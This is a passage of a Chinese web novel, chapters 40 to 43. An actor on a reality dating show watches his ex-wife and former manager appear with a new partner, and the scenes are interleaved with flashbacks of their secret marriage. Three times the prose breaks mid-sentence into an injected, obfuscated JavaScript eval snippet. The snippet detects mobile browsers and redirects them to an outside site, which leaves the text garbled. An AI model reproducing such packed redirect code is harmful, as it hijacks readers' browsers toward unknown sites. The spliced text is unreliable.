“太帅了太帅了!”安释恒感慨,又让那位比较边缘的年轻男偶像做自我介绍。 年轻男偶像大名叫欧黎珏越,被众人亲切地称呼为欧黎。他是之前百人选秀团最后一位卡线出道的艺人,背后的团队能量比不得沐阳娱乐、明煊娱乐这种大公司,这次能卡到这个曝光机会自然是运气爆棚。 “两位又是为什么来参加我们这个节目啊?温言小姐姐是想来取经的,来财姐……她也说她是来取经的,别管了!但是,据我所知,你们两位目前也还单身吧。”安释恒走流程。 江百川看了一眼镜头。他的语气有些微妙:“主办方邀请我,好像是因为其中一位嘉宾是我以前的同事。” “哎呀,原来是亲友团!”安释恒极其上道,“那你们就属于是圈内好友了?” “算是吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992430|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”江百川笑了一下,“可能是节目组想邀请我,作为她的好朋友,帮她考察一下她的‘现任’对象,把把关这样子。” “那你可要好好留意他们了哦。”安释恒道。 钱莱低调地说:“男人最懂男人了。” 这话不好接,安释恒把话抛给欧黎:“言言和来财姐都是作为恋商学习者来的,那欧黎就和咱们百川一样,都是作为亲友团来的咯?” 这还真是沾亲带故,欧黎果断道:“我和里面一位男嘉宾是好兄弟,我超级懂他。”这就对应上男人懂男人。 “有多懂?” “他有一次,内裤晾在阳台上忘记收,”欧黎说,“刚好是台风天,回来内裤就不见了。最后是咱们楼有个学长失物招领,我一眼看出来内裤是他的,就给他捡回来了。” “我天,都懂到这种程度了!”安释恒震惊。 “没有,我开玩笑的,这个故事是编的,”欧黎话锋一转,“不过是他在酒局上和我说的,哈哈哈哈。” “看得出来你们真的很熟。”温言接话。 大家纷纷笑起来,最后把话题和画面带回被观察的三对情侣。 沈蔷薇大家要么认识,要么多少了解过,贺平的电影更是不敢说没看。这一对也是最公开,公众知名度最高的,大家你一言我一语,给不了解他们的观众介绍了一下他俩在圈内圈外的印象。 镜头一转,池知夏出现在镜头中。她被众人夸赞可爱甜美。姚柯叶一出场,欧黎就爆料申诉:“天呐!他平时可不是这样的!” “那他平时是什么样子的?”费姵玫问。 “他和我们在一起的时候,怎么可能这么温柔这么绅士啊!”欧黎控诉,“兄弟真是,在女朋友面前完全是另一套啊。” 大家纷纷起哄,表示“要看看这么个帅哥打算装矜持到什么时候”。 一直到牧阳出场。 “天呐,是经纪人小姐姐哎!”安释恒道,“莫非,她就是你之前的那个同事?” “是,”江百川笑着接话,“我们曾经合作过很长时间。” “牧阳姐好厉害啊,这么多明星都是她带出来的。”温言这话是真心实意的羡慕和崇拜,圈内知道牧阳的人不少,都恨她不捧自己。 “对啊,她真的对我有知遇之恩,最初的那段时间,我们相互扶持走了很久,”江百川也感慨,“我发自内心地感激她。” “哎,百川你和牧阳认识很久了吧。” “有十年了。”江百川说。 安释恒表示好奇:“那你一定知道她以前的情史啦?她以前有谈过恋爱吗,你知道吗?” 江百川顿了好几秒,一时没答上来:“这……” 众人都微微探头,好奇他会说出什么来。 放映机里,接受后采的牧阳笑道:“这是隐私!只能告诉你们谈过,但是具体的不能说。我和小川刚在一起没多久呢,不能让他知道那么多,不然他该怕了。” “哦哦哦,女人家的心思,隐瞒情史!”安释恒一下叫了起来,“百川情商高哦,没有揭穿她。” “她是谈过很多个吗?为什么会觉得弟弟要怕啊。”钱莱喃喃道。 “你不会有吗,就是那种面对现任,不好意思讲太多前任的事情。”温言反问。 “咦?莫非,言言有这种经历?”安释恒立刻提问温言。 温言羞涩起来,嘉宾们侃侃而谈。江百川放在身侧的手微微放松,他看着镜头里和摄像师打招呼的牧阳,忽然有一种陌生的新鲜感。 这么多年,都是她在屏幕上看他,观察他,指点他。 而现在,角色倒置了。 40. 【四十】 镜头里,牧阳笑着和不出镜的导演打招呼。明知道这不是自己,但江百川还是看愣了神。 “百川呢,你怎么觉得?”安释恒问。 突然被提问,江百川没有回答,只是微笑着摆了摆手。 他根本没听他们在聊什么。 镜头里的她好像比上次见面要瘦一点。是因为镜头的焦距不同,还是因为她最近这段时间太忙,心力交瘁? “现在不讲也没什么要紧,”安释恒笑了笑,一点都不为难他,“我是觉得迟早会让对方知道的,暂时的隐瞒也是一种妥帖的善意。” 钱莱道:“我觉得在面对前任这一点上,细节方面不说也没什么,但是谈了几个,谈了多久之类的,最好还是公布一下,作为公开的信息。” 费姵玫补充钱莱的观点:“虽然感情是两个人当下的事,但是过去的经历会对人的心理产生一定的塑造,这当然会影响彼此的判断。而且我理解,来财姐说的更是一种安全感。就是你对我坦诚,我对你坦诚,那是一个信号。释放坦诚的信号,能给这段关系带来安全感。” 费姵玫是老师,职业习惯让她在输出观点的时候,一一扫过众人。而观察团的嘉宾们也都认可地点头,江百川也是一样,赞同地微笑着。 “你是一个演员。” 在综艺上,他也不是江百川。 “你代表的是‘演员’江百川,是一个公众人物,”她的语气总是那样语重心长,拉着他说话的时候,温柔得像在给大型犬顺毛,“你说的每一句话,都有可能被人过度解读,断章取义,甚至十年后,他们还会拿你十年前的一句话攻击你。切记,一旦上了节目,一定要尽可能地内敛温和,不要表露太多自己的真实观点和想法。你可以引导别人多说,但你要把自己隐藏得再深一点。” 虽然温柔,但是非常强势。 “可是我只想和你在一起,”他当时说,“江百川难道就不可以和牧阳在一起吗?我们就不能过普通一点的生活,哪怕时间不多,就叫一两个朋友来家里聚一聚也好……” 她转过头来:“你想约人来热闹热闹?没问题呀。” “……我是说我们,一起邀请朋友们过来。”他忽然产生了一种无力感。那种感觉就好像是,之前的无数次提议都被拒绝,所以一旦提出想法,第一反应就是沮丧、懊悔和自我厌恶。 “下次吧。”她果然这样说。 “你总说下次,”他的视线追随着她的背影,“为什么你总不愿意公布我们的关系?我难道很拿不出手吗?” “我是为了你的个人形象……” “没这必要吧!就为了这么一个单薄的人设,牺牲我们真实的,活生生的人的幸福,牺牲你我作为普通人的幸福,你一点感觉都没有吗?我们差不多一百多天没有见到面,我甚至不能去机场接你,我在家等你,甚至还要拉上所有的窗帘。进组的每一天我都想见到你,我给你发消息,你叫我忍,我都忍住了,你知不知道我有多煎熬?!我那么想你,你有想过我吗?” “退一万步说……你都已经开始培养正统偶像了,而我,我只是个演员,你对我的定位不是这样的吧?为什么我不能谈恋爱?”他越说越生气,越觉得自己被冷落了,“就算没有女友粉,我也可以接到戏!” 牧阳当时眼睛也有点红了。他当然舍不得她难过,只是比起一时的心疼,他的生气和委屈更加沸腾。不甘让他出手。 即便被扣住了肩膀,她好像还是挺冷静的样子,抬头看着他的时候,语气放缓,却依然坚定:“我相信你。你的演技,我们有目共睹,你只是缺少机会。” “所以我就说——” “……他们是他们,你是你。何况他们还没能完全撑起来,而且就算能撑起来,你对我而言也不一样。”她说,“整个公司我最重视的就是你,当然不希望毁掉你事业的人是我。” 他放了手,她果然退开好几步。 当时他心头一片乌云,心想牧阳果然是拿话在哄他。 “要不今晚喝一杯?”刚刚离场的人去而复返,一罐冰啤酒递到他面前,“就破例一回哦。” 他看到她的笑容,心里的那点不甘和埋怨都忘了。他握着那罐冰啤酒,低头用额头贴上她的额头。 “小川!” 他甚至产生了一瞬间的恍惚。 “这个弟弟好听她的话啊。”安释恒小声说。 嘉宾们的发言将他拉回现实。 “感觉很乖。”温言点点头。 “你会喜欢这种类型吗?”钱莱问温言。 温言:“……看情况吧,我也喜欢帅哥,不过更喜欢酷一点的。” 镜头再次带过晏川的脸。 温言:“其实我觉得他也挺酷的。” “酷帅,美强。”钱莱摊手,指向晏川和牧阳。 气氛欢快,费姵玫却皱了皱眉头,但是没说什么。 安释恒及时捕捉到了这一信号:“费老师,你感觉如何?” 费姵玫也是有话直说:“因为他们才交往不久吧,有些事情很难判断。” “既然您这么说,那您一定是有一个初步的推断了。”安释恒故意道。 “……我是觉得,男方看起来还挺纯情的,”费姵玫说,“女方看起来还带点惯性——不知道是不是她经常和助理,或者说秘书什么的这么说话,她和他说话也有点这个意思。可能不是她故意的。” “可不是嘛,这位是大老板呢。”安释恒说,“大女主!” 这就涉及到女性独立的话题了,费姵玫笑了笑,没继续往下说。 “牧阳一直经营公司,确实挺忙的。”江百川说。 安释恒立刻捧场道:“是嘛!那要不是上节目,估计都没有这么多时间谈恋爱呢。” “人家来这休息呢,我们来这观察人家,人家还有钱赚,不愧是老板。”钱莱忍不住叹息。 江百川弯起嘴角,无声地笑笑。 温言倒是说:“我觉得她可能很孤独吧。” “言言这是怎么看出来的?”安释恒非常好奇。 温言慢吞吞地说:“你看镜头里,她一直在很主动和大家互动,也包括弟弟,但是弟弟给回应的时候其实没有很热烈。” 她抬手做了个手势,示意导播退回五秒。这里后期会再加个慢放的特写。 “你们看,弟弟凑近她的时候,是先往后缩,然后再慢慢靠近的。他表现好像有点紧张,特别小心翼翼的。”温言说,“然后她这里摸了一下弟弟的头嘛。这个动作其实挺亲昵的,我觉得牧姐对他是挺亲近的。不过弟弟这里看起来完全被吓住了。” “哈哈哈,这就是费老师说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温言和钱莱激动地双手握着对方的手,一副“果然你也磕到了”的知己模样。 晏川反揽住牧阳的动作太干脆,也太强势,这种动作上无声的霸道,反而和前面规规矩矩的行动形成对比,给人巨大的反差感。 “有些女生会觉得高大的男生的更有安全感,”费姵玫解释道,“这可能是一种‘身体信号’,伴侣的宽肩会给她们带来更多对空间占有感和环境稳定性的想象。” “是的,”温言立刻点头,“如果有个高大的男朋友,就感觉自己被保护了。” “我是觉得这样反差大,很有吸引力。”钱莱说,“姐弟,但是弟弟很猛,这样才吃得好嘛。” “哎哎哎,这里不许说些虎狼之词!”安释恒立刻阻拦。 钱莱遗憾地摇头。 费老师笑道:“这也是我们后天文化教育的结果。实际上在动物界,雄性往往比雌性体型更小,这是动物的繁衍需要。” “原来如此!费老师果然认知深刻。”安释恒带头鼓掌。 在一片“磕到了”和“学到了”的氛围中,画面继续进行着。欧黎冷不丁突然冒出一句:“他的行李箱为什么在女方家里?” 41. 【四一】 “我……我的天!”温言收住了差点脱口而出的粗口。 江百川鼓掌的手停住了。 他克制着不想看屏幕,可还是看到了晏川放在客厅角落里的行李箱。 这个地方他来过,甚至在节目录制前几天,他还从她家接走了一盆绿萝。当时那个替身故意穿着睡袍走出来气他,他当场就没控制住脾气,但事后回想起来,他和她肯定是没发生什么。 她不喜欢感情里有一点的说不清楚,因此肯定不会对那个临时抓来的替身真的动什么手脚。 牧阳的果断让他又爱又恨。 一方面他清楚,她这样的个性,因此不会真的有什么人趁他不在趁虚而入;另一方面,他痛恨她的果断,以至于和他分开,当真说舍弃就舍弃,一点留恋也没有。 她甚至没打算曝光他,撕毁他。明明她可以和他两败俱伤,让新公司得到一个声名狼藉的烫手山芋,但是一直到现在——她都还没有这么做。 江百川近日总是失眠。梦里的他焦虑万分,总想到这次综艺录制。 “不希望我成了那个毁掉你事业的人。”牧阳总是这么说。 她选择的是抛弃他们的感情。 节目组不负众望,后期早在此处剪出了后期补录的采访。 “知道你们要来录制,小川只能先在我这里借住一晚,因为他住的学生宿舍嘛,不方便录制。”牧阳笑道,“我和他也是校友,我们东海有门禁的,闲杂人等不得入内。” 安释恒笑了:“百川,我记得你也是东海毕业的。真是这样吗?” “我们当年学校还是允许自由出入的,这两年就不确定了。”江百川说。 “那你肯定没她了解,她现在肯定动不动就去‘探亲’。”欧黎调侃。 安释恒一听这话,立刻大笑起来。江百川想笑,他牵了牵嘴角,勉强记住自己的人设,没有再多话。 江百川有意希望牧阳和她那个挖来的替身这部分赶紧过去,但偏偏两人的部分才刚刚开始。漫长的煎熬还在继续。 嘉宾们一会感慨“弟弟好贤惠,叠衣服的手法好熟练”,一会又因为牧阳的“奇思妙想”笑出了声。 “哎,我忽然有个想法。”钱莱忽然说。 于是大家纷纷看过来。不想看牧阳和晏川亲密的江百川动作幅度尤其明显,这次也是他先问的:“什么想法?” 钱莱慢吞吞道:“该不会,其实牧阳姐前面说什么‘恋爱史保密’,其实是没谈过吧?” “啊?!”安释恒实在想不到她这结论怎么来的,“这,这怎么得出来的啊?” 钱莱理所当然地指着节目里让晏川给自己按肩膀的牧阳:“因为我觉得……她其实还挺……可爱的,很有童心。” “像个小女孩。”费姵玫给出了更确切的评价,并负责现场专业说法,“这当然可能是她的一种亲密关系模式,但他们如果真的只谈了不到一个月的话,这种亲密关系模式不会立刻固定——我估计接下来会出现更多两人之间关系的试探。” “试探?就是说,他俩的关系不会很稳定?”安释恒问。 费姵玫语重心长道:“亲密关系的模式不稳定,不意味着关系不稳定。换句话说,直白一点,谁主导,谁强势,谁更粘人?这些在亲密关系的初期都是非常容易改变的因素,为什么我们平时都在说‘暧昧期’好磕?或者刚刚谈到的热恋期?因为这个时候的亲密模式变化感最强,恋人双方都还在对彼此的边界进行探索,这个过程是非常精彩,非常有趣的。” “感觉听费老师讲完,我忽然觉得有点冷静了。”温言拿起代言商赞助的饮料。 “哈哈哈哈,你才刚发你那首《芳心猎手》的新歌呢,别这么快冷静啊!继续加强你的攻势,biubiubiu!”安释恒夸张道。 温言笑着睨他一眼,但心里对安释恒愿意帮她多做几次宣传是很感激的。 “那费老师觉得,他俩要是稳定下来,会是谁主导啊?”欧黎问。 费姵玫笑了笑:“这种事情,不好说的。而且哪怕是进入感情稳定期,主导也未必固定。而且感情是有很多种模式的,不能直接用一句话甚至几句话下结论。” “要是人家费老师这么厉害,还做什么研究,直接给人家恋人做测试不就行了。”安释恒点兵点将,“你强,我弱,你强,我弱……” 大家又一次笑开。 江百川却好像跟不上节奏似的,接了梦游一样的一句:“牧阳平时不这样。” 安释恒刚放松一点,一下子没缓过劲来:“……什么平时不这样?” “她平时和你们接触,肯定不会暴露这一面啊,”钱莱却理所当然道,“她是老板,要是像小女孩一样撒娇,那她老板的面子还要不要了。” “哎,百川啊,要是你谈恋爱的话,你觉得自己会表现得更加成熟,还是更孩子气?”安释恒故意插话问道。 “……肯定是更成熟吧。”江百川摸摸鼻子,“至少我是想表现得更成熟一点的。女孩子嘛,总要照顾。” 安释恒看向费姵玫,刚想笑,钱莱已经很不客气道:“这么想的男生就是很幼稚!” 温言笑了:“还真是。” 欧黎看人热闹:“哟!” 费姵玫:“你们少说两句吧,别把我们纯情的大男孩调侃得下不来台。” 江百川听到那声“幼稚”的时候脸一下就红了,被连番调侃更是恨不得把自己埋到沙发里去。他有意用赞助商的抱枕遮住自己的表情,让自己尽可能表现得像是不习惯被人当众调侃的“羞涩”。 他确实没有见过牧阳撒娇。她在他面前一贯强势,一直是引导方,有些时候,他甚至觉得,牧阳其实是嫌他笨的。 “这些花,你怎么搞的。”他又搞砸了。 牧阳挽起袖子,把那些花一盆一盆从房间里抱出来,搬到阳台上。她侧头看着蹲在地上的他,露出那种好像看到家里闯祸了的笨狗一样的无奈表情:“还蹲在地上?起来,收拾完了,快去休息。” “对不起,我好像养不好它们。”他低着头说。 “你能养得起公司已经很厉害啦,”牧阳轻快地说,“专业的人做专业的事,养花的事情交给园丁就好了,你何必操这个心呢?” 当时他的新剧扑了,下一部剧的档期又被拖延,此时看来仿佛前途灰暗,遥遥无期:“我是不是很没用。” 江百川记得他当时在阳台上,风吹过他的指缝,领口,也擦过他的耳朵。他的刘海都被风吹到自己的眼睛面前,几乎要挡住视线。 牧阳的头发也在随风舞动。 她逆着光回过头来:“有用没用的,你什么时候这么功利了?” “……可是我没有获得什么成就。这个热度太低了,连豆瓣评分都没几条。”他艰难地说。 “当初在学校的时候,你记得你是怎么和我说的吗?”牧阳问他。 江百川嗫喏着:“毕业那天,我就向你求婚?” “……不是这个,”牧阳无奈地叹了口气,笑了,“这个你也做到了,不是吗?我们早就在一起了。” 说起这事,当时的江百川顷刻间回忆起两人围绕婚姻的唯一一次争吵。江百川完全不能理解牧阳为什么不肯办婚礼,甚至要求两人领证之后不能发朋友圈——经过协商和让步,最后他和牧阳分别发了一条仅他们二人可见的朋友圈。 当时的牧阳完全可以说“年少有为”,大学期间表现优异的她履历光鲜,实习期甚至还带着自己的组做出了一个高层很满意的策划案,因此被拨到这位新领导麾下做新节目。这次“升迁”可以说一步登天,牧阳以几乎是新人的身份做到节目组的二把手位置,被无数人看好。 而江百川,因为东海大学并非影视艺术类专门院校,并没有专门的机会对他敞开。当时的他只能在几个没名堂的剧组跑龙套,还免费跑到学生剧组去接戏,只为了磨炼演技,同时也在找更好的机会。 和还在频频倒贴钱,有些时候一天吃不上一顿盒饭的自己相比,牧阳已经是开上了自己买的代步车,甚至打算攒钱在东海市买房的“有为青年”。 所以,他听到她的拒绝,第一反应就是:“所以,你其实瞧不上我,觉得我不配和你公开,是吗?” “你怎么能这么想?”牧阳难以置信地看他,“我当然是为了你的未来,你也不想过个三年五年被爆出来隐婚吧!” “那我可以直接公开自己已婚,这样就不会被曝光已婚了啊!”江百川理所当然道。 “……小川,”牧阳念他昵称的时候,他甚至有一种对方在咬牙切齿的错觉,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992432|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在没有戏可以接,也无法证明自己的业务实力。在你的实力没有被展现之前,你只能提供你的支持者情绪价值。你看到了吗?这个预告底下,给你评论的都是你的颜粉,她们以后都是你最初的支持者。你舍得让她们伤心吗?” “可是……”江百川喃喃着,“如果几年以后她们知道了,也会伤心的。” “哎!只要没有人知道,就不会有人伤心了。”牧阳无语地叹气,“就这样隐瞒个二三十年,等到我们都四五十岁了,这些你的粉丝当然也成熟了,不会再做出什么疯狂应激的行为。那个时候再公开,全网都会祝福我们的。” 她搂过他的肩膀:“荣华富贵会有的。鲜花和掌声也会有的。我很看好你。” 江百川轻轻把牧阳抱进怀里。 正是这位恋人,给他介绍了第一个正式踏足影视圈的试镜机会,才有了这份被他的粉丝们称为“一眼万年”的预告片。 她说他们的婚礼没有彩礼嫁妆,没有仪式,但她还是想给他一份礼物。那是一条青云路。 他看着夕阳,忽然有一种想迎风流泪的冲动。 “当初就应该公开,”他还是觉得这事不对,“现在越藏越容易爆雷。” “藏与不藏都这样了,既然已经做出的决定,就没什么好后悔的。”牧阳说,“真的想不起来了?你当初在学校说过什么。” “我说过的话太多了……”江百川当真想不起来。 “你和我说,‘即便机会再少,我也要拼尽全力试试,成为一个真正的演员’。”牧阳模仿他的口吻,“你当时说,努力十年,十年内……” “十年内当不成演员,我就去死。”江百川自动接上了这句话。 “对,”牧阳笑了,“你这个胆小鬼,竟然还能说出这么厉害的话,我当时对你印象一下就变了。” 她凑过来,低声对他说:“其实我一开始没想成为经纪人的。有意思的事情很多,浪漫的工作不少,我都可以做。但是因为你有梦想,所以我特别想成就你。” 那本是最浪漫的情话。 “……那是气话。”他说。 牧阳掐了一把他的脸:“行。气话也很可爱。总之,你现在不是做到了吗?成为一名专业演员。你的成就已经很大啦。” 江百川:“……或许你不该为了我从核桃离职。” “这个可不是为了你!”牧阳立刻反驳,“我离开核桃可不是为了你做的。” “你刚刚还说,为了我成为经纪人。” “那和离开核桃没关系。”牧阳摇头,“那鬼地方我早晚要走,就是没想好做什么。只是事情赶在一起而已。” “不管,你就是喜欢我,心疼我。”江百川故意说。 “对对对,我托举你。”牧阳说,“我要托举我的沐阳娱乐——我要把它经营成一片太阳花田,每一朵太阳花都茁壮无比。” “现在你只有一朵花。”江百川拉着她的手,贴在自己的脸颊上。 好像刚才她掐疼了他似的。 “以后会有的。”牧阳嘀咕着,轻柔地摸了摸他的脸,“好啦,那你以后就不要总是养其他的花了,它们也是生命,被你糟蹋了好无辜。” “我知道了。”江百川应了一声。 他依然觉得闷闷的。 随着他事业的发展,两人逐渐聚少离多。每次见到她时候的欣喜,总会在中途转变得格外沉闷。他有意增进双方的距离,可不管是什么样的互动,只要有外人在,她都表现得太克制,简直比他本人还像演员。 兴许是这样。 大概就是因为这样。 看到牧阳主动吻了那个替身之后,他甚至激动地一下子站了起来。 “百川?!”安释恒的惊叫声从身旁响起,“饮料!” 他低下头,这才看到手里赞助商的饮料瓶此时已经被他捏到变形,瓶子里的汁水溢出大半,浇得他满手都是。 江百川不明白。 那他这些年,算什么呢? “你从来没关心过四凤吧,”他当时仔细观察那盆绿萝,“你看这片叶子,都黄了。” ——我也是一朵花啊,你的太阳花田里,最早的一朵花。 “它对我来说就是一个摆件。”牧阳说。 他如坠冰窟。 42. 【四二】 “百川?怎么这么激动啊,看到前老板和人接吻,给他激动的……”安释恒掰开江百川的手,大吃一惊,“你的手受伤了?” 江百川回过神,笑道:“没有,之前不小心划破的。” 他理了理袖子,朝给他递纸的欧黎道谢,继而解释道:“不好意思,太激动了。” 对,就是激动。江百川毫不客气地借走安释恒给的理由。 “莫非咱们百川是‘磕疯了’?”安释恒笑着问。 “没,”江百川笑了一下,“我只是觉得她……她这样做,我很担心。” “你在担心什么?” “稍等。”江百川道了歉,跟着化妆师暂时离开录制现场。 小春在后面喊:“大家,先休息一下。” 这个时候休息就有点太早了。安释恒直接走到于利春身边,小声问她:“还行?” 小春点头:“继续逼他。” “是不是太残忍了。”安释恒不确定道。 “也不用刻意做,”小春慢吞吞吐字,“他直觉敏锐,你不要暴露。” “在聊什么?”钱莱凑过来。 “没什么,”小春笑笑,“在看刚刚那两条的效果。对了,蔷蔷和贺导那一组,你们多说点好话。” 她凑到钱莱耳边,意有所指道:“蔷蔷需要女粉。她其实很独立,贺导只是她的东风。” 钱莱感觉自己有点听懂了,又有点不确定:“……哦。” 于利春笑了笑,拍拍钱莱的肩膀,让她走了。 安释恒:“我尽力吧。” “无论如何,谢谢你。”于利春说,“咱以后之前的事都不提了。” 这是人情还了的意思。 安释恒果然笑了笑,如释重负地说:“那我回去了。要是效果不太合适,你随时叫停,我配合你。” 这句话他声音比较大。能得到这位老资历主持人的授权,于利春对现场调度更有把握了:“等江老师回来,我们就继续。” “他会针对你?”晏川问。 “是针对我们。”牧阳比划了一下自己和晏川,自然地靠过来,“你比他年轻这么多,名字又那么像。你和他还是一个学校的。他怎么可能给你好脸色啊。” “我比他帅。”晏川如此补充。 “……是,”牧阳点头,难得舍得抬眼打量他的脸,“其实你的五官比例更好。” 晏川眯起眼睛。瞧这得意的样儿!牧阳恨不得掐他的脸,像搓小狗一样狠狠搓一搓他。 牧阳手刚刚抬起,又放下:“行了,不能再耽误时间,我们出发去机场。” 晏川下意识低头,发现她的手半途收了回去,只好往后靠一靠,假装自己没有什么小动作。 如果说实习的第一天还有点新奇,那第三天就是有点憋闷,些许哀怨,再加少量愁苦了。 偏偏牧阳是个事情摆在眼前就忙得昏天黑地的工作狂。昨天晚上,他甚至怀疑,如果他不提醒牧阳需要及时休息的话,她可能不会去睡觉。 不过事实证明,完全是他多虑。因为牧阳早就定好闹钟,而且关掉闹钟没多久,姬慧还打电话过来,请他们下班。 “这是因为节目录制有需要,平时我作息很规律的。”牧阳煞有介事道,“身体健康很重要,我可不会伤害自己的身体。” 晏川倒是好奇了:“那你平时几点起,几点睡呢?” 牧阳好似没有听到一般,自顾自往外走:“人还是要自律。” “你平时都什么时间处理工作?也会像昨天那样熬夜,像之前那样经常通宵么?”晏川一路追过去。 牧阳立刻回身斥道:“问那么多,不知道还以为你是卧底呢,专门来套情报啊?” “……还真是。”晏川愣了一下,点点头。 “……是什么是,走了。”牧阳无语得很。这小孩戏真多,到现在还在坚持不肯出道,不知道是真的认为这种关系可以继续延续下去,想利用当前流量变现当网红,还是打算等身价再升一升再和她谈判了。 电梯里,晏川无奈地苦笑。 这三天对他来说,恐怕煎熬的并不是工作任务本身,而是内心的煎熬。然而除了包厢那次会面,高明煊就没再联系过他和薛有晴,仿佛他们之间的交流不存在一般。牧阳根本就不信他的明示暗示。 而且,就算是高明煊给他们的私人转账,看账面也说明不了什么问题;之前他和薛有晴的聊天记录当然是都删干净了——谢天谢地,提前删了,后来他们在包厢还被心眼子比石榴多的高明煊团队查手机呢。 没有现场的证据,即便他有意识地和牧阳提起高明煊,她也总以为他是指桑骂槐,要给她前夫上眼药。 更过分的是,她说他:“太入戏啦。” 晏川当场就觉得有一盆墨泼在火上。 到底是不一样的。 名义上的名分,和她心底里的名分。 “……实在伤人。”他深吸一口气,终究是这样说。 牧阳不明白他的意思,还招呼他喝茶呢:“降降火,情绪会对皮肤有影响的,到时候上镜不好看。” 他气呼呼地把茶喝了,入口却觉得有些不对。杯子拿到眼前,竟然是一只非常可爱的简笔画小狗,在蓝色的大海里划船。 “我看你一直不买杯子,”牧阳说,“干脆就下单一起买了。现在买东西真方便,外卖半小时就能送到。” 晏川看到牧阳放在茶几上的另一只杯子。他将自己的杯子递过去,让两只杯子靠在一起。 于是划船的小狗,遇上了在岸边抱着一束向日葵等它的小猫。 “……好可爱。” “对吧。”牧阳也很满意这两只杯子,干脆拍了一张,“等会让他们发网上去。” 晏川看向低头发消息的牧阳。 ……算了,没关系的。 即使只有这些小小的,微不足道的回忆,他也已经很开心了。 “怎么一直在看我?”牧阳问他。 她察觉到,身边投来的那道视线灼灼地跟着她很久了。沉浸在工作里的时候还好,这会稍微放松下来,还到了这狭小的电梯里,实在是叫人脸热。 被她一问,那道视线连忙回避,像小精灵似的飞快逃开了。 电梯门再开,听到的就是门外淅淅沥沥的雨声。 水像一层柔软的绸布,铺在办公楼的窗格中,把他们都罩住。牧阳低头看自己的包,果然没有伞。她的视线转了一圈,看到靠近门口的公用伞架。 “幸好,公司楼下有公用伞。”牧阳指了指伞架,话音未落,身边的人已经窜了出去。 牧阳想嘱咐一句小心地滑,想了想又把这话塞回喉咙里。晏川只是年纪小了点,又不是小孩子,这点道理还不懂吗? 她在这担心什么。 “来。”没多时,晏川就带着伞回来了。 牧阳下意识地后退半步,才发现地面 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雨滴落在她头上。牧阳反应慢了一拍,抬头的时候,只看到黑色的伞面。 晏川站在她身后,慢半拍的提醒这才响起:“小心。” 她笑了笑:“抱歉,我走神了。” 实在想不起是哪个同学,也记不得是什么时候的事,牧阳干脆就不想了。她挽着晏川的手往前走,目不斜视。 晏川的脚步却略微有些迟疑。 无他,雨雾之中的公司门外,竟然飘荡着几个穿着雨衣,来回走动的人。而且看到他俩出现,竟然还都窸窸窣窣地朝着这边来了。行迹实在可疑。 “走!”牧阳当机立断,飞快踏出步伐,晏川连忙跟上,撑着伞送她上车,自己也跟着上车,将一众雨中的镜头和视线拦在车窗外。 等上了车,牧阳才捂着脸揉额头:“大意了,昨天第一期播出,今天已经有人来蹲点。” “……谁?” “记者、狗仔、路人、私生。”牧阳一次性报完,“早知道又是下雨又是他们,我们就该走地下车库。” “江百川的私生怎么这么阴魂不散。”除了暴雨事故,留给他印象最深的就是那两次在街上碰到的私生。 “不知道,”牧阳说,“可能不是他的,是你的。” “……啊?”晏川彻底愣住,下意识发出了一个单音。 牧阳这才抬头:“我没开玩笑。哦对,其实也有可能是我们cp粉的。” 这话有意调侃,牧阳是笑着说的。 晏川想到两人可能有cp粉,嘴角也忍不住牵起来,但他不敢多想,于是故意找茬:“那为什么不是你的个人私生粉?姐姐这么有实力,喜欢你的人肯定更多。” 牧阳却耸肩:“我的私生粉?那种我当然是全部收入麾下了!你不是也认识吗?” 晏川隔了好几秒才消化完她这句话:“你是说,慧姐?” 牧阳点点头:“她当初就是传媒的学生,专门蹲点我的。我看她能力这么强,就让她发简历给我,然后,就把她招为助理啦。” 晏川有些幽怨地看着她:“你一开始甚至都没打算收我的简历。” “哪有,我怎么会没收。”牧阳连忙放缓语速,“你人都是我的,简历我当然是早就收下了。而且,你没看我们现在在干什么?” 她靠过来,贴得极近。 43. 【四三】 晏川不敢看她,低声道:“约会?” “我们在出差,”牧阳就在他耳边笑,“这可不叫约会。” 既然收了简历,那这一趟就是出公差了。牧阳满意地点点头,拉开距离,却不料晏川一把拉住她的胳膊,问她:“那什么是约会?” 牧阳一下子没答上来。 晏川的下一个问题脱口而出:“你没有约会过吗?” 牧阳:“怎么可能!我当然也有约会啊!” “什么呢?”他盯着她的眼睛。 牧阳错开视线:“就,一起去图书馆上自习?去咖啡馆……刷夜……”她的声音越来越低,听上去自己也有几分没底气。 “那昨天晚上我们就在约会了——”晏川却不依不饶,用一种含笑的轻快语气故意道,“一人一杯咖啡,一人一块小蛋糕,在一整层都没有人的办公室,过一整个通宵的节目流程。对了,我们还有做紧急公关模拟预案?” 